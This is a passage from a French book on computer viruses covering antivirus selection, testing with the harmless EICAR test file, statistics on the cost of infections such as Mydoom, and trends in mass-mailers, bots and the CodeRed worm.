9.3 CHOISIR SON ANTI-VIRUS

9.3.1 Les benchmarks

À côté de la presse informatique nationale et internationale, quelques organismesindépendants éditent régulièrement des comparatifs produits. Seuls ces dernierss’appuient sur une bonne compétence technique en évitant :

• le comportement irréfléchi qui consiste à écrire son propre virus de labora-toire,

• les erreurs de configuration liées à la méconnaissance de certains produits,• l’utilisation d’une collection d’un des concurrents en liste,• l’utilisation d’une collection douteuse ou la capacité de propagation de

chaque virus n’a pas été vérifiée.

Le minimum que l’on doit demander un anti-virus est qu’il détecte l’ensembledes 1500 virus que liste la WildList depuis son origine. Ceci paraît être une évidencequ’il est pourtant parfois bon de vérifier si l’on est tenté de s’éloigner de la liste desténors du marché.

Cette liste, mise à jour mensuellement est disponible sur http://www.wildlist.org/.

Des tests sérieux sont disponibles sur les sites suivants :

• AV Comparatives : http://www.av-comparatives.org/

PAGET_Ch09 Page 249 Lundi, 11. avril 2005 5:23 17

250 Chapitre 9. Organiser la lutte anti-virale

• TruSecure –ICSA Labs : http://www.icsalabs.com/index.shtml• Virus Test Center – University of Hamburg – Computer Science

Department : http://agn-www.informatik.uni-hamburg.de/vtc/naveng.htm• Virus Research Unit – University of Tampere, Finland : http://www.uta.fi/

laitokset/virus/ (aujourd’hui en sommeil)• Virus Bulletin : http://www.virusbtn.com/

Dans un ordre souvent différent, on retrouve dans tous ces tests le même pelotonde tête constitué d’une douzaine de produits alphabétiquement cités ci-dessous1 :

• Avast! Professional Edition 4.1• BitDefender Professional Edition 7.2• Dr.Web for Windows 95-XP 4.31b• NOD32 2.0• F-Prot for Windows 3.15• RAV Reliable Anti-Virus 8.6• H+B EDV AntiVir Professional 6.26• Kaspersky Anti-Virus Personal 5.0• McAfee VirusScan 8.0• Panda Platinum Internet Security 8.0• Sophos Anti-Virus 3.84• Symantec Norton Anti-Virus 2004• Trend Micro Internet Security 2004

9.3.2 Se faire sa propre opinion

Les résultats étant souvent honorables pour nombre des nominés ; d’autres critèresdoivent être mis en avant pour départager les ex æquo. Nous ne nous attarderonsnullement ici sur le prix qui est souvent négociable pour les grands comptes. Nousciterons plutôt comme points complémentaires de recherche :

• le large éventail des plates-formes supportées,• la facilité d’installation et de désinstallation,• les tests de non contamination avant installation,• son autocontrôle d’intégrité,• les outils de déploiement offerts à l’installation,• l’exhaustivité de l’identification des virus (garant d’une bonne éradication),• l’analyse de la mémoire,• la capacité à stopper un processus résident,

1. liste AV Comparatives – août 2004.

PAGET_Ch09 Page 250 Lundi, 11. avril 2005 5:23 17

251©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it9.3 Choisir son anti-virus

• les modes de recherche offerts. Il est important d’éviter les produits travaillantuniquement par base de signature. Il faut aussi éviter le tout heuristique. Lepanachage est gage de réussite.

• la faculté de nettoyer en profondeur la base de registres,• la possibilité de verrouiller la configuration,• la convivialité de l’interface,• la transparence pour l’utilisateur, • la régularité des mises à jour,• la taille de chaque mise à jour (processus incrémental ou non),• la rapidité de réaction face à un virus inconnu,• la pérennité de la marque et son implantation en France,• l’importance des équipes techniques et leurs localisations,• l’offre de produits complémentaires à l’anti-virus,• et, s’il n’y a pas de mise à jour, la qualité des modules d’interception et d’élimi-

nation en environnement sain et contaminé.

Le nombre de souches reconnues n’est pas à retenir. Derrière une seule signatureun produit peut détecter une centaine de variantes au désavantage d’un autre pro-duit qui préfèrera les différencier…

La vitesse d’examen d’un support sain est intéressante à prendre en compte. Ceparamètre est sans intérêt sur un support infecté. Dans ce cas, c’est la rigueur, l’effi-cacité dans la détection et l’éradication qui prime.

Ceux qui voudront se livrer à leurs propres analyses risquent de se lancer dans destests en utilisant leur propre collection de virus. Ceci est très dangereux et ne don-nera aucun résultat satisfaisant : pour les anti-virus du peloton de tête, les résultatsseront du 100 % (virus communs). La seule conséquence risque d’être une activationmalencontreuse d’un de ces virus et une propagation vers le monde extérieur.

Il est cependant possible de mener des tests. Le fichier eicar.com est dédié à cetexercice. Le mode de fabrication de ce leurre est largement diffusé. Vous le trouverezentre autre sur le site de l’association qui porte son nom1.

9.3.3 Testez votre anti-virus

Pour créer le leurre, il suffit de recopier la ligne ci-dessous dans un fichier texte quel’on renommera ensuite avec une extension .com. La chaîne comporte 68caractères :

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

1. EICAR : http://www.eicar.com/anti_virus_test_file.htm.

PAGET_Ch09 Page 251 Lundi, 11. avril 2005 5:23 17

252 Chapitre 9. Organiser la lutte anti-virale

On obtient ainsi un fichier sans danger dont la signature normalisée a été intro-duite dans toutes les bases de signatures des éditeurs d’antivirus sérieux.

Il est ensuite possible de triturer ce faux virus en :

• lui masquant son extension,• lui donnant toutes sortes d’extensions possibles,• lui donnant une double extension,• le compressant dans toutes ses formes,• faisant des compressions récursives,• utilisant de multiples compresseurs DOS ou Windows (ASPack, NeoLite,

PEPack, Petite, PkLite32, Shrinker, UPX, WWPack32, WinZip, Diet, Ice,LzExe, PkLite, WWPack etc.). Bien entendu en utilisant plusieurs versions dechacun de ces compresseurs.

• Le comprimant en mode auto-extractible…

Une fois ces manipulations faite, il est possible d’obtenir une centaine de fichiersque l’on pourra ensuite présenter à son anti-virus.

Ne croyez pas alors obtenir un taux de réussite à 100 % ; ces tests sont beaucoupplus malaisés qu’ils n’y paraissent :

• Scan à la demande : si un fichier n’est pas détecté c’est que votre antivirus negère pas, par exemple, tel type de compression/décompression, ou décom-presse mal le fichier.

• Scan sur accès : copiez, déplacez les fichiers sur un disque ou sur des disquesréseaux. Lorsqu’ils ont une extension adéquate, tentez un double-clic. Surd’autres extensions, essayez une ouverture au travers de notepad ou d’un outilbureautique quelconque. S’ils sont compressés, tentez une décompression autravers de l’utilitaire qui permet de les restaurer. Observer le temps de réponsede votre antivirus et sa capacité à effacer ou à mettre en quarantaine lessouches.

• Test POP/SMTP : Sous Outlook ou Outlook Express, envoyez ces fichiers enpièce jointe, seuls ou en lot.

• Renouvelez le test avec d’autres messageries : Netscape, Eudora, Lotus Notes,Pegasus, The Bat, etc. Si votre antivirus travaille au niveau du protocolePOP3, tous les clients de messagerie devraient être protégés.

• Envoyez ces fichiers en utilisant tous les protocoles et clients de communica-tions instantanées à votre disposition : P2P (Poste à Poste), ICQ, Yahoo!Messenger, NetMeeting, MSN Messenger, etc.

Une fois ces textes effectués, il ne vous reste plus qu’à vous forger une opinion.

PAGET_Ch09 Page 252 Lundi, 11. avril 2005 5:23 17

253©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it9.4 Le poids d’une infection virale pour l’entreprise

9.4 LE POIDS D’UNE INFECTION VIRALE POUR L’ENTREPRISE

Après chaque grosse infection virale, des experts de tout bord nous annoncent leurschiffres. Les uns s’expriment en milliards de dollars et leurs évaluations s’affichentfréquemment à la une des médias. Les deux tableaux suivants synthétisent quelquesétudes du Computer Economics telles que j’ai pu les retrouver au sein de certainescoupures de presse.

Les chiffres annoncés sur une année sont aussi éloquents mais tout aussi difficile-ment vérifiables.

Tableau 9.2 — Pertes estimées par virus (source Computer Economics)

Date de l’alerte VirusWorldwide Economics Impact

(billions US)

Mars 1999 Melissa $ 1,5

Mai 2000 Loveletter $ 8,75

16 Juillet 2001 Code Red(s) $ 2,75

17 Juillet 2001 Sircam $ 1,15

Septembre 2001 Nimda $ 0,635

Avril 2002 Klez $ 0,750

Janvier 2003 Slammer $ 1

Mai 2003 Bugbear $ 0,950

Août 2003 Sobig.F $ 2,5

Janvier 2004 Mydoom $ 4

Avril 2004 Sasser $ 0,400 - 0,500 (estimation)

Tableau 9.3 — Pertes estimées par année (source Computer Economics)

AnnéeWorldwide Economic Impact

(billions US)

1995 $ 0,5

1996 $ 1,8

1997 $ 3,3

1998 $ 6,1

1999 $ 12,1

2000 $ 17,1

2001 $ 13,2

PAGET_Ch09 Page 253 Lundi, 11. avril 2005 5:23 17

254 Chapitre 9. Organiser la lutte anti-virale

Les résultats des enquêtes de l’ICSA Labs (International Computer Security Asso-ciation) semblent plus raisonnables. Elles tentent de cerner le phénomène en leramenant à l’échelle d’un sinistre et d’une entreprise.

Il semble possible de résumer ces études en estimant qu’une attaque virale coûteen moyenne entre 5000 et 10000 Euros pour l’entreprise qui la subit.

Le premier chiffre français qu’il m’a été possible de retrouver provient du CLU-SIF. Selon l’association, l’évaluation de l’impact économique des infections viralespour les entreprises françaises en 2000 fut de 129 millions de francs.

Plus près de nous, après l’attaque Mydoom, le CLUSIF a lancé le 9 février 2004auprès de ses membres son second Observatoire d’Impact. Tout comme l’année précé-dente (janvier 2003) avec W32/Lirva@MM l’association espérait ainsi mieux appré-

Tableau 9.4 — Pertes estimées par entreprise (source ICSA)

ICSA Labs

Indisponibilité d’un serveur

Pertes en homme/jour Pertes financières

1996 348 minutes (environ 6 heures)

44 heures (moins de 2 H/J) $ 8.100

1997 40 minutes 44 heures (moins de 2 H/J) $ 8.360

1998 43 minutes 45,6 heures (moins de 2 H/J) $ 2.454

1999 Moins d’une heure dans 91 % des cas.

Moins de 20 H/J dans 80 % des cas.5 H/J comme valeur médiane

Moins de $ 5000 dans 74 % des cas.Valeur moyenne : 8,4 K$Valeur médiane : 1,7 K$

2000 Moins d’une heure dans 36 % des cas.Entre 1 et 20 heu-res dans 33 % des cas.

Moins de 10 H/J dans 75 % des cas.7 H/J comme valeur médiane

Moins de $ 1000 dans 33 % des cas.Entre $ 1000 et $ 10000 pour 29 % des cas.Valeur moyenne : 8,4 K$Valeur médiane : 1,7 K$

2001 De 0 à 1 heure dans 12 % des cas.Entre 1 heure et 10 heures dans 72 % des cas.

Moins de 10 H/J dans 68 % des cas.4 H/J comme valeur médiane

Moins de $ 1 000 dans 43 % des cas.Entre $ 1 000 et $ « 30 000 pour 34 % des cas.Valeur moyenne : 69 K$Valeur médiane : 5,5 K$

2202 De 0 à 1 heure dans 51 % des cas.Entre 1 heure et 10 heures dans 22 % des cas.

Moins de 10 H/J dans 62 % des cas.4 H/J comme valeur médiane

Moins de $ 10 000 dans 54 % des cas.Entre $ 10 000 et $ « 50 000 pour 35 % des cas.Valeur moyenne : 81 K$Valeur médiane : 9,5 K$

PAGET_Ch09 Page 254 Lundi, 11. avril 2005 5:23 17

255©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it9.4 Le poids d’une infection virale pour l’entreprise

hender les conséquences d’une attaque virale en France et en faire bénéficierl’ensemble des acteurs de la profession.

Environ 300 entreprises, membres du CLUSIF, reçurent le questionnaire. 35 yrépondirent. La suite de ce paragraphe est une reprise du texte que j’ai écrit à lademande du CLUSIF et qui est visible sur son site1.

Mydoom avait été rencontré dans 97 % des cas (34 cas contre 1). Circulant prin-cipalement au travers de la messagerie électronique, il avait généralement été bloqué.Le nombre de courriels interceptés était fréquemment connu. Il montrait l’impor-tance du phénomène et se déclinait selon le tableau suivant.

Le virus s’est propagé au sein de l’entreprise dans 6 cas seulement. Il a alorsimpacté entre 2 et 300 machines. N’ayant pas de module destructeur l’infection aété maîtrisée sans effet secondaire notable.

9 entreprises ont, malgré tout, signalé des dommages. Il s’agissait généralementd’un ralentissement des échanges de mail allant parfois jusqu’au blocage (plusieursheures) ou à l’isolement de la messagerie (2 heures). Une entreprise nous a signaléun problème d’atteinte à son image de marque.

Beaucoup entreprises se sont plaintes du nombre important de messages d’alerteerronés en provenance des anti-virus de sociétés extérieures. Ce phénomène lié à latechnique d’usurpation d’adresse n’est pas nouveau. Il a été cependant particulière-ment visible à cette occasion et ne cesse encore de croître aujourd’hui.

Rappelons qu’ayant collecté des adresses électroniques sur le poste infecté, levirus utilisait celles-ci comme émetteurs apparents. Configuré pour alerter l’expédi-teur, l’anti-virus interceptant le message redirigeait alors l’alarme vers cette fausseadresse.

1. CLUSIF, observatoire d’impact : https://www.clusif.asso.fr/fr/production/infovir/infovir0911.asp.

Tableau 9.5 — W32/Mydoom@MM – courriels bloqués par entreprise (source CLUSIF)

Nombre de courriels bloqués par entreprise Nombre de réponses

Plus de 100 000 2

Entre 10 000 et 100 000 13

Entre 1000 et 10 000 10

Moins de 1 000 4

Chiffre non communiqué 6

PAGET_Ch09 Page 255 Lundi, 11. avril 2005 5:23 17

256 Chapitre 9. Organiser la lutte anti-virale

14 entreprises ont estimé leurs pertes financières. Dans la majorité des cas, cesentreprises estimaient l’impact financier comme nul (dans 7 cas) ou faible (dans5 cas). L’une d’entre elles expliqua ce fait en indiquant que « le coût interne fait partieintégrante de nos politiques de sécurité ». D’autres comparèrent ce type de dépense àune campagne de traitement de messages non sollicités.

Seules deux entreprises nous ont indiqué un chiffre relativement important ;pour l’une, 20 jours/homme, pour l’autre 20.000 Euros.

Sur les 34 entreprises qui ont vu le virus, 16 sont à même de préciser le jour etl’heure de la première alerte. Pour 15 d’entre elles, celle ci eut lieu avant le27 janvier 16 heures (soit moins de 24 heures après le début de l’alerte).

Rappelons que selon les experts, le virus a été repéré pour la première fois le26 janvier 2003 vers 19h (c.à.d 18h GMT).

Si l’on ajoute à ces précédentes données les entreprises n’ayant communiqué quele jour de la première alerte, on obtient le tableau suivant :

Tableau 9.6 — Mydoom – alertes erronées (source CLUSIF)

Nombre de messages d’alertes erronés reçus par entreprise Nombre de réponses

Plus de 100 000 1

Entre 10 000 et 100 000 1

Entre 1000 et 10 000 1

Moins de 1000 7

Chiffre non communiqué 25

Tableau 9.7 — Mydoom – Échelonnement des premières alertes (source CLUSIF)

Première alerte signalée par l’entreprise au regard de la première alerte mondiale.

Nombre de réponses cumulées

T0 26 janvier 2004 19h. 1

T0 + 5 heures 26 janvier 2004 23h59 4 = 1 + 3

T0 +18 heures 27 janvier 2004 13h 13 = 9 + 3 + 1

T0 +21 heures 27 janvier 2004 16h 15 = 2 + 9 + 3 + 1

Au delà de T0 + 21 ou avec heure non communiquée 20

PAGET_Ch09 Page 256 Lundi, 11. avril 2005 5:23 17

257©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it9.4 Le poids d’une infection virale pour l’entreprise

31 entreprises sur 35 on su indiquer le degré de mise à jour de leur anti-virus.Dans 77 % des cas l’anti-virus détectait et éradiquait le virus. Dans certains cas seull’anti-virus de la passerelle de messagerie était à jour ; celui du poste de travail dûêtre remis à niveau. C’est ainsi que 48 % des entreprises indiquèrent avoir cepen-dant dû effectuer une mise à jour.

À la lecture des remarques que quelques responsables d’entreprises transmirentau CLUSIF, il apparu que Mydoom.A était considéré comme la plus forte infectionque ces entreprises avaient du subir jusqu’alors. L’impact financier en terme de coûtdirect semblait malgré tout proche de zéro.

Alors que l’anti-virus du poste de travail dû parfois subir une mise à jourd’urgence, les anti-virus situés sur les passerelles de messagerie semblaient avoir con-venablement joué leur rôle. Les processus de mise à jour automatique et de filtragedes extensions suspectes avaient, dans l’ensemble, correctement fonctionné.

Le virus a certainement été la cause majeure de l’engorgement des messageries etde la perte de disponibilité par surcharge du trafic réseau. Il ne faut cependant passous-estimer le surcroît de trafic engendré par les anti-virus eux même qui, mal con-figurés, retournaient vers de nombreux correspondants des messages d’alerte parailleurs erronés.

Tableau 9.8 — Mydoom – Échelonnement total des alertes (source CLUSIF)

Première alerte signalée par l’entreprise au regard de la première alerte mondiale.

Nombre de réponses cumulées

Jour J 26 janvier 2004 4

J +1 27 janvier 2004 19 = 4 + 15

J +2 28 janvier 2004 20 = 4 + 15 + 1

J + 4 30 janvier 2004 21 = 1 + 4 + 15 + 1

J +6 1er février 2004 22 = 1 + 1 + 4 + 15 + 1

J + 7 2 février 2004 23 = 1 + 1 + 1 + 4 + 15 + 1

Date non communiquée : 12

PAGET_Ch09 Page 257 Lundi, 11. avril 2005 5:23 17

PAGET_Ch09 Page 258 Lundi, 11. avril 2005 5:23 17

10

Dernières évolutionset perspectives

Dans le chapitre 2 nous avons abordé l’historique du phénomène virus. Après enavoir détaillé leur fonctionnement dans les chapitres suivant, nous nous sommesattachés à comprendre comment lutter à armes égales avec eux. J’espère vous avoirfait comprendre qu’il était aisé d’obtenir un niveau de sécurité raisonnable avec lesproduits du commerce, une bonne configuration de son système et un peu de bonsens.

Tentons maintenant un regard vers le futur. Les vers sont sur le devant de lascène ; leur nombre ne cesse de croître et leurs auteurs sont toujours intéressés à encréer de nouveaux. Ils utilisent pleinement Internet et les diverses autres infrastruc-tures réseau ; ils optimisent leur vitesse de propagation et distribuent des outils depiratage.

L’envoi massif et répété de courriers non sollicités devient la principale plaie dunet. Nous verrons que certains virus prennent part à cette distribution. Ce chapitredémontrera également que les auteurs actuels ne cherchent ni à détruire, ni à dété-riorer des informations ; plus discret, leur but est cependant souvent plus préjudicia-ble.

Dans les années 1992 / 1995 quelques études cherchaient à mesurer la vitesse depropagation des virus dans un pays donné. À cette époque, leur origine – locale ounon – était un facteur déterminant. Ce temps est maintenant révolu. La mondialisa-tion et l’instantanéité s’applique aussi au phénomène virus.

Pour espérer atteindre son but, le virus doit avoir recours à une propagation aussirapide que massive, parfois explosive. La discrétion peut aider, mais elle devientsecondaire. Certains virus semblent capables de perdurer alors même que d’autresdisparaissent spontanément ou volontairement. Leur caractère explosif ne garantie

PAGET_Ch10 Page 259 Lundi, 11. avril 2005 5:23 17

260 Chapitre 10. Dernières évolutions et perspectives

pas leur persistance. Celle ci ne semble d’ailleurs pas forcément souhaitée. Les objec-tifs sont autres. Ce dernier chapitre va tenter de les dévoiler et d’en montrer toutesleurs perversités.

10.1 LES BUTS RECHERCHÉS

Depuis le 1

er

janvier 2004, plus de 40 000 nouveaux programmes malveillants ontété recensés. Il s’agit donc de plus de 4 000 nouveaux

malwares

chaque mois. À la fin2004, les compteurs de certains anti-virus dépasseront la barre des 130 000 virus,chevaux de Troie, espiogiciels et variantes.

Figure 10.1

Évolution de la menace

La plupart de ces malveillances restent cantonnées dans nos collections. Leurdurée de vie peut-être considérée comme nulle. Quelques-unes alimentent nosTOP-10 et sont ainsi sur le devant de scène pour une période plus ou moins longue.

Pour mieux envahir nos machines, les objectifs semblent technologiques, prag-matiques, ciblés et fonctionnels.

Technologique

• savoir se mettre à jour,• s’affranchir de l’utilisateur,• gagner en vitesse, diminuer en taille,• intégrer de multiples techniques de propagation,• cibler le particulier comme l’entreprise,• être anonyme, séduire l’utilisateur ou s’en affranchir,• tirer avantage des nombreuses vulnérabilités découvertes,

PAGET_Ch10 Page 260 Lundi, 11. avril 2005 5:23 17

261

© D

unod

– L

a ph

otoc

opie

non

aut

oris

ée e

st u

n d

élit

10.2 Envahir nos machines

Pragmatique, ciblé et fonctionnel

• ouvrir la voie à d’autres formes d’attaques,• distribuer une porte dérobée,• porter atteinte à la confidentialité,• collecter des informations diverses et des mots de passe,• distribuer des minis serveurs relais afin de faciliter l’envoi de courriers non

sollicités.

10.2 ENVAHIR NOS MACHINES

Nous aurions pu croire un moment qu’après un certain engouement à la création, etpeut être un secret espoir de se voir cité dans les médias, la passion des auteurs devirus pour les mass-mailers allait retomber.

Leur nombre en fait ne cesse d’augmenter. Tout comme il devint difficile en 1998de comptabiliser les macro-virus et leurs variantes, il en est aujourd’hui de mêmepour ces envahisseurs de boites aux lettres électroniques.

La grande majorité des virus mis en exergue depuis l’an 2000 fait partie de cettecatégorie. Ils sont alors fréquemment annoncés avec un risque élevé comme le mon-tre le tableau ci-dessous qui décline, par catégorie, le nombre approximatif de virusayant, un moment, entraînés une alerte de niveau Moyen à Élevée chez McAfee.

L’inflexion de tendance des véritables vers (

.worm

) au détriment des mass-mailers n’est pas franchement décelable dans ce tableau. Elle me semble pourtants’annoncer. Après

Codered

en 2001, d’autres exemples peuvent être cités :

Slammer

,

Lovsan

et

Nachi

en 2003.•

Sasser

en 2004.

Tableau 10.1

— Typologie des virus ayant entraînés une alerte chez McAfee

VIRUS AYANT ENTRAÎNÉS UNE

ALERTE NOTABLEANNÉE 1999 2000 2001 2002 2003 2004

MASS-MAILERS MACRO-VIRUS 4 1

VIRUS DE SCRIPT 1 5 3

VIRUS PRG(W95/W32)

3 3 8 10 19 45

.WORM 1 2 2 3 3

AUTRES 12 1 4 1

PAGET_Ch10 Page 261 Lundi, 11. avril 2005 5:23 17

262 Chapitre 10. Dernières évolutions et perspectives

Les courbes de ces alertes rejoingnent celles du nombre total estimé de virus parcatégorie. Dans un premier temps macro-virus (exemple :

W97M/Melissa@MM

),ensuite utilisant le VBScript (exemple :

VBS/LoveLetter@MM

), la tendance actuellemontre une recrudescence des virus programme (exemple

W32/Nimda@MM

) dontl’intérêt réside dans la capacité d’intégrer dans un même ensemble plusieurs techni-ques de propagation (messagerie, disques partagés, serveurs IIS, etc.).

Figure 10.2

Estimation du nombre total de mass-mailers par catégorie

Alors que leur nombre n’atteignait pas 350 au 1

er

janvier 2002, le chiffre actueldes mass-mailers dépasse peut-être aujourd’hui les 10 000.

Figure 10.3

Prédominance des mass-mailers dans le TOP-10 du CLUSIF

PAGET_Ch10 Page 262 Lundi, 11. avril 2005 5:23 17

263

© D

unod

– L

a ph

otoc

opie

non

aut

oris

ée e

st u

n d

élit

10.2 Envahir nos machines

Cette prédominance est mondialement visible dans les divers TOP-10. EnFrance, depuis le début 2000, le CLUSIF collecte les alertes que lui remontent cer-tains de ses membres. Grâce à ce travail collectif il est possible d’établir une table deprévalence trimestrielle qui regroupe les virus les plus communément rencontrés surnotre territoire. Depuis plus de 2 ans, ce sont principalement des mass-mailers.

Rappelons qu’il existe deux types de « mass-mailers » :

• Le suffixe

@M

est dédié aux premiers d’entre eux. Ils ont une propagationlente et ciblent une seule boîte aux lettres à chacune de leur activation.

• Les seconds ciblent plusieurs boîtes aux lettres à chacune de leur activation etont une propagation plus explosive. Le suffixe

@MM

leur est dédié.

La plate-forme macro-virus (exemple :

W97M/Melissa@MM

) est de moins enmoins répandue. La mode est passée. Alors que plus de 60 virus de cette famillefurent créés en 2000, on en compta moins de 20 en 2001. Ce chiffre fut à peinedépassé en 2002.

Cette disparition se retrouve au niveau de l’Observatoire Virus du CLUSIF quin’en cite plus aucun depuis 3

ème

trimestre 2001.

Figure 10.4

Évolution du nombre des mass-mailers (macro-virus)

Les plates-formes VBScript (exemple :

VBS/LoveLetter@MM

) et JAVAScript (

JS/Kak@M

) sont en perte de vitesse. La mode passe. Alors que plus de 160 virus decette famille furent créés en 2000, on en compta moins de 90 en 2001.

Cette tendance se retrouve également au niveau de l’Observatoire Virus qui,depuis le 3

ème

trimestre 2003, n’en cite plus dans son TOP-10.

Figure 10.5

Évolution du nombre des « mass-mailers » (Script)

PAGET_Ch10 Page 263 Lundi, 11. avril 2005 5:23 17

264 Chapitre 10. Dernières évolutions et perspectives

La plate-forme 32 bits (exemple

W32/Nimda@MM

,

W95/Babylonia@M

) est enplein essor. Le virus programme est à la mode. Plus de 130 virus de cette famillefurent créés en 2001 et la progression est exponentielle. Cet engouement se retrouvebien entendu dans le TOP-10 avec des virus quasi exclusivement de ce type.

Figure 10.6

Évolution du nombre des « mass-mailers » (virus programme)

L’intérêt de ces fichiers binaires s’explique par le fait qu’un code unique peut inté-grer diverses techniques d’infection tout en distribuant, en sus, des outils de piratagequi aideront son auteur à poursuivre ses projets.

Au fil des mois, le nombre des entreprises remontant leurs alertes vers le CLUSIFa peu varié. Leurs statistiques mensuelles ont été transmises sans la moindre discon-tinuité. Cette rigueur permet de dater la première percée des mass-mailers dans la viequotidienne. Il s’agit de mai 2001. La figure 10.7 nous montre aussi que malgré lesprogrès de nos anti-virus et ceux des procédures de sécurité mises en œuvre, desintrus sans complexité particulière et non innovants ont toujours su tromper la vigi-lance.

Figure 10.7

Nombre d’alertes remontées à l’Observatoire Virus du CLUSIF(années 2000, 2001 et 2002)

PAGET_Ch10 Page 264 Lundi, 11. avril 2005 5:23 17

265

© D

unod

– L

a ph

otoc

opie

non

aut

oris

ée e

st u

n d

élit

10.2 Envahir nos machines

Jusqu’à la fin 2003, en période de crise, environ 140 e-mails sur 10 000 (1,4 %)sont infectés. Ce nombre est divisé par 2 en période normale. L’arrivée de

Mydoom

marque le début d’une seconde époque. Apparu en fin de mois, le virus fait néan-moins exploser les compteurs. Selon certaines sources le taux de mails infectésdépassa un moment les 30 %

1

. Lissé sur un mois, il se limite à 3,5 %.

Figure 10.8

L’effet

Mydoom

: estimation mensuelle du nombrede mails infectés pour 10 000 mails en circulation

Aujourd’hui

Mydoom

appartient au passé mais les utilisateurs de l’informatiquesemblent toujours aussi crédules et vulnérables.

Au mois de juin 2004, les statistiques semblaient montrer qu’en France 21 % dese-mails à l’entrée des messageries des grandes entreprises étaient liés à la propagationvirale.

Figure 10.9

Estimation mensuelle du nombre de mails infectéspour 10 000 mails en circulation

1. www.secuserve.com.

PAGET_Ch10 Page 265 Lundi, 11. avril 2005 5:23 17

266 Chapitre 10. Dernières évolutions et perspectives

Si le pourcentage de courriels infectés ne cesse de croître alors que les entreprisess’estiment bien protégées et indiquent des faibles coûts au regard des attaques virales,c’est que les virus actuels expédient énormément plus d’e-mails depuis une seuleadresse IP d’origine que par le passé. C’est aussi parce que le double-clic inconsidéréreste monnaie courante chez bon nombre de particuliers. Ils ne protègent pas correc-tement leurs stations personnelles et sont les principales victimes et les principauxpollueurs.

Ce pourcentage supérieur à 20 % est néanmoins surprenant ; il m’a étonné moi-même et, alors que je terminais la rédaction de ce livre. J’ai donc interrogé certainesgrandes sociétés qui m’ont alors fourni leurs statistiques :

• la première société ne m’a fourni qu’une estimation globale : entre 7 et 9 %tout au long de l’année,

• la seconde à confirmé mes chiffres sans me fournir ses propres statistiques,• 4 sociétés m’ont fourni des statistiques :

– 2 après filtrage des extensions.– 2 avant filtrage.

Figure 10.10

Importance des e-mails avec virus

Ce résultat amène deux commentaires. Le premier concerne la technique de fil-trage amont des extensions. Elle est plus ou moins efficace selon les sociétés. Certai-nes d’entres-elles devraient sans doute revoir la liste de leurs extensions interdites.Si cette technique est menée de manière stricte, elle semble correctement isolerl’entreprise. Si elle est laxiste, le filtrage devient vite illusoire.

En second lieu, ces courbes confirment les statistiques émises par le CLUSIF : lesmass-mailers circulent à foison. Ils rentrent difficilement dans les entreprises (nosstatistiques concernent des interceptions de virus, pas des infections) mais sontinnombrables sur le NET. Ils sont sans aucun doute en provenance des particuliersqui négligent les règles de base en matière de sécurité et qui, du fait de l’ADSL, res-tent connectés 24h sur 24.

PAGET_Ch10 Page 266 Lundi, 11. avril 2005 5:23 17

267

© D

unod

– L

a ph

otoc

opie

non

aut

oris

ée e

st u

n d

élit

10.3 S’affranchir de l’utilisateur, gagner en vitesse, diminuer en taille

Notons enfin l’apparition depuis la fin 2003 des programmes de type robots qu’onrencontre de plus en plus fréquemment. Les concepteurs d’anti-virus intègrent cha-que jour dans leurs bases des dizaines de ces programmes connus sous les noms de

Spybot

,

Gaobot

et autres

Sdbot

Ces derniers venus sont eux même des vers à propagation lente. Chaque varianteest créée dans un but précis. Si vous ou votre entreprise êtes ciblés, vous seuls en pos-sédez la souche. Une fois sur votre machine, ils attendent des ordres venant d’un ser-veur distant. Ils capturent de l’information, participent depuis chez vous à desattaques groupées (DDoS) et servent de relais de spamming, de phishing, d’adwareset de spywares.

Leur durée de vie est courte, c’est leur nombre qui fait leur force. Ils sont créés, ilssont distribués afin de créer un botnet et rapidement utilisés. Ils attendent d’être sol-licités par leur concepteur ou par ceux qui louent leurs services. Certains outils com-merciaux douteux s’en servent comme intermédiaires.

10.3 S’AFFRANCHIR DE L’UTILISATEUR, GAGNER EN VITESSE, DIMINUER EN TAILLE

Les auteurs de virus cherchent encore et toujours à augmenter la rapidité de propa-gation de leur création. C’est un autre objectif du moment. La parfaite exploitationde l’environnement réseau et l’exploitation de nouvelles vulnérabilités par des verstels que

W32/Codered.A.worm

(alias

W32/Bady

) ou

W32/SQLSlammer.worm

montrent qu’en quelques dizaines de minutes, il est maintenant possible d’envahir laplanète.

Pour gagner en vitesse, ces nouveaux venus doivent avoir des routines d’activa-tion automatique sans la nécessité d’une action humaine (double-clic, prévisualisa-tion…).

10.3.1 CODERED

En juin 2001, 6 millions de sites web de par le monde utilisaient Microsoft InternetInformation Server

1

. Principal concurrent d’Apache (18,5 millions de sites gérés),IIS, permet le partage des informations, la création et la publication d’applications,l’hébergement et la gestion des sites.

Ce même mois, d’importantes failles sont découvertes. La société eEye – spéciali-sée dans la sécurité, et éditeur d’une solution pare-feu logicielle dédié à IIS – décou-

1. NETCRAFT (2001), June 2001 – Web Server Survey. http://www.netcraft.com/Survey/Reports/0106/.

PAGET_Ch10 Page 267 Lundi, 11. avril 2005 5:23 17

268 Chapitre 10. Dernières évolutions et perspectives

vre l’une d’entres elles

1

. Elle alerte Microsoft sur un problème de dépassement decapacité de la mémoire tampon. Celui ci reconnaît le défaut et propose un correctif

2

.

Comme à l’habitude, ce furent surtout les auteurs de virus qui portèrent attentionà cette faille. Ils imaginèrent un nouveau ver. Injecté le 12 juillet, les premiers indi-ces de sa présence apparaissent le lendemain

3

. L’étude du code démontre les spécifi-cités du ver :

• La propagation se fait exclusivement en mémoire vive ; aucun code n’est écritsur le disque dur. C’est au travers du flux HTTP que la détection doit avoirlieu.

• Du 1 au 19 du mois, le ver génère aléatoirement une liste d’adresses IP etenvoie vers celles-ci des répliques de lui même par le port TCP/IP 80.

• Entre le 20 et le 27 du mois, le ver lance une attaque du type « déni deservice distribué » (DDoS) à l’encontre du site Internet de la Maison Blanche.

• Du 28 à la fin du mois, le ver est inactif.

Le générateur d’adresse est simpliste (valeur de départ fixe) et la propagation duvirus s’en trouve affectée.

Le 19 juillet 2001, une variante B apparaît avec un nouveau générateur d’adres-ses IP. Celui ci utilise une adresse de départ aléatoire. En conséquence, chaque ordi-nateur infecté est supposé atteindre des séries de cibles différentes. C’est unemodification qui change tout : plus de 350.000 machines seront infectées en13 heures. Selon les études le seuil des 300.000 machines est atteint en 4 heures

4

